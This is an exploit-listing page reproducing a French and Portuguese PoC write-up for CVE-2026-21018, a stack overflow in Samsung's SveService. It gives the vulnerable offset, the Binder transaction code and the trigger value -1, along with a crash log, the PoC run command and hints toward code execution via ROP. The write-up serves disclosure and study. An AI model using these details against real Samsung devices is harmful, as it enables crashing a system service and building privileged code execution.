Sploitus

Exploit for CVE-2026-21018

kitploit · 2026-08-28

Exploit Code

MARKDOWN187 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-FILIPEMENDONCA1978-CVE-2026-21018
# Dépassement de tampon SveService

![Português](https://raw.githubusercontent.com/filipemendonca1978/cve-2026-21018/HEAD/#portugu%C3%AAs) ![English](https://raw.githubusercontent.com/filipemendonca1978/cve-2026-21018/HEAD/#portugu%C3%AAs)

* * *

`Samsung SMR Mai 2026`

`SVE-2026-0478(CVE-2026-21018)`

`Versions affectées : Android 14, 15, 16`

`Statut de divulgation : Divulgué privément`

`Écriture hors limites dans SveService avant SMR Mai-2026 Release 1 permet à des attaquants privilégiés locaux d'exécuter du code arbitraire.`

`Le correctif ajoute une validation d'entrée appropriée.`

* * *

### Avertissement : ceci est une Preuve de Concept (PoC) à des fins éducatives uniquement, je ne suis pas responsable de tout ce que vous faites qui n'est pas de l'étude. Vous avez été prévenu.

### Ceci a été testé sur un Galaxy A17 LTE (SM-A175F)

* * *

## Français

### Résumé

Vulnérabilité de dépassement de tampon dans le service système `SveService` (`com.sec.sve`) sur les appareils Samsung exécutant Android 16. Le service tourne en tant que `system` (UID 1000) et est accessible **sans permission spéciale** via Binder.

### Composants

Composant| Rôle| Version  
---|---|---  
`sveservice.apk`| Service Android| API 36  
`libsvejni.so`| Bibliothèque native ARM64| ID de build : `0a71afa45f8688b4314ed8e5a0aea8b9`  
  
### La vulnérabilité

Dans `sveJNISVE_SetCodecInfo` (`libsvejni.so:0x21710`), les paramètres `i18`, `i19`, `i20` (reçus depuis AIDL comme `i106/i107/i108`, `TRANSACTION_sveSetCodecInfo = 38`) sont passés directement à `memset`, `sub sp, sp, xN` (alloca) et `memcpy` **sans validation de taille**.

Des fonctions similaires (`GetVersion`, `EnableSRTP`, `SetSRTPParams`, `SetGcmSrtpParams`) valident avec `cmp w20, #0x1e; b.gt` (rejettent > 30 octets). `SetCodecInfo` ne valide rien du tout.

### Flux d'appel

root@kitploit:~
    
    
    App/Script
      → ServiceManager.getService("SveService")
      → transact(38, parcel, ...)
      → ISecVideoEngineService$Stub.onTransact()
      → SecVideoEngineImpl.sveSetCodecInfo()
      → SveJniProxy.sveJNISVE_SetCodecInfo()
      → libsvejni.so: Java_com_samsung_sve_sveJNI_sveJNISVE_SetCodecInfo
           ├── memset(dst, 0, i18)
           ├── sub sp, sp, (i19+15)&~15
           ├── memset(dst, 0, i19)
           ├── sub sp, sp, (i20+15)&~15
           ├── memset(dst, 0, i20)
           ├── memcpy(dst, src, i18)
           ├── memcpy(dst, src, i19)
           └── memcpy(dst, src, i20)
    

### Valeurs avec `-1` (0xFFFFFFFF)

### Preuve de crash (Tombstone 07)

root@kitploit:~
    
    
    Cause : le pointeur de pile se trouve dans une carte inexistante ; probablement dû à un débordement de pile.
    signal 11 (SIGSEGV), code 1 (SEGV_MAPERR)
    
    #00  __memset_aarch64+160       libc.so
    #01  sveJNISVE_SetCodecInfo+504 libsvejni.so (offset 0x21908)
    
    x2  00000000ffffffff   ← count de memset = 4 Go
    x24 00000000ffffffff   ← i18 = -1
    sp  000000707f5f7610   ← SP dans une région invalide
    x29 000000717f5f7710   ← pointeur de trame d'origine
    

### PoC

root@kitploit:~
    
    
    cd poc
    ./build_and_run.sh
    

Sortie attendue :

root@kitploit:~
    
    
    [*] Phase 1 : appel valide (1,1,1)...
    [+] Retourné : 0
    [*] Phase 2 : i106=-1...
    [!] Exception : DeadObjectException : null
    [+] SveService CRASHED - débordement confirmé
    

### Remarques

  * **Root non requis** : `ServiceManager.getService()` via `app_process` fonctionne avec le shell UID.
  * **Contournement de permission** : la permission `signatureOrSystem` N'EST PAS appliquée — le service est enregistré directement via `ServiceManager.addService()`, contournant le mécanisme de permission d'Android.
  * **Crash inévitable** : `memset` avec `0xFFFFFFFF` crash toujours. Pour une RCE, il faudrait une fuite d'adresse + ROP (PAC absent sur SM-A175F).



* * *

## Português

### Resumo

Vulnerabilidade de buffer overflow no serviço de sistema `SveService` (`com.sec.sve`) em dispositivos Samsung com Android 16. O serviço roda como `system` (UID 1000) e é acessível **sem qualquer permissão especial** via Binder.

### Componentes

Componente| Papel| Versão  
---|---|---  
`sveservice.apk`| Serviço Android| API 36  
`libsvejni.so`| Biblioteca nativa ARM64| Build ID: `0a71afa45f8688b4314ed8e5a0aea8b9`  
  
### A Vulnerabilidade

Na função `sveJNISVE_SetCodecInfo` (`libsvejni.so:0x21710`), os parâmetros `i18`, `i19`, `i20` (recebidos da AIDL como `i106/i107/i108`, `TRANSACTION_sveSetCodecInfo = 38`) são usados diretamente como argumentos para `memset`, `sub sp, sp, xN` (alloca) e `memcpy` **sem qualquer validação de tamanho**.

Outras funções similares (`GetVersion`, `EnableSRTP`, `SetSRTPParams`, `SetGcmSrtpParams`) validam com `cmp w20, #0x1e; b.gt` (rejeitam > 30 bytes). `SetCodecInfo` não valida nada.

### Fluxo da Chamada

root@kitploit:~
    
    
    App/Script
      → ServiceManager.getService("SveService")
      → transact(38, parcel, ...)
      → ISecVideoEngineService$Stub.onTransact()
      → SecVideoEngineImpl.sveSetCodecInfo()
      → SveJniProxy.sveJNISVE_SetCodecInfo()
      → libsvejni.so: Java_com_samsung_sve_sveJNI_sveJNISVE_SetCodecInfo
           ├── memset(dst, 0, i18)
           ├── sub sp, sp, (i19+15)&~15
           ├── memset(dst, 0, i19)
           ├── sub sp, sp, (i20+15)&~15
           ├── memset(dst, 0, i20)
           ├── memcpy(dst, src, i18)
           ├── memcpy(dst, src, i19)
           └── memcpy(dst, src, i20)
    

### Valores com `-1` (0xFFFFFFFF)

### PoC

root@kitploit:~
    
    
    cd poc
    ./build_and_run.sh
    

Saída esperada:

root@kitploit:~
    
    
    [*] Phase 1: valid call (1,1,1)...
    [+] Returned: 0
    [*] Phase 2: i106=-1...
    [!] Exception: DeadObjectException: null
    [+] SveService CRASHED - overflow confirmed
    

### Observações

  * **Sem root** : `ServiceManager.getService()` via `app_process` funciona com UID shell.
  * **Permissão** : A permissão `signatureOrSystem` NÃO é aplicada — o serviço é registrado via `ServiceManager.addService()` diretamente, bypassando o permission check.
  * **Crash inevitável** : `memset` com `0xFFFFFFFF` sempre crasha. RCE precisaria de leak de endereço + ROP (PAC ausente no SM-A175F).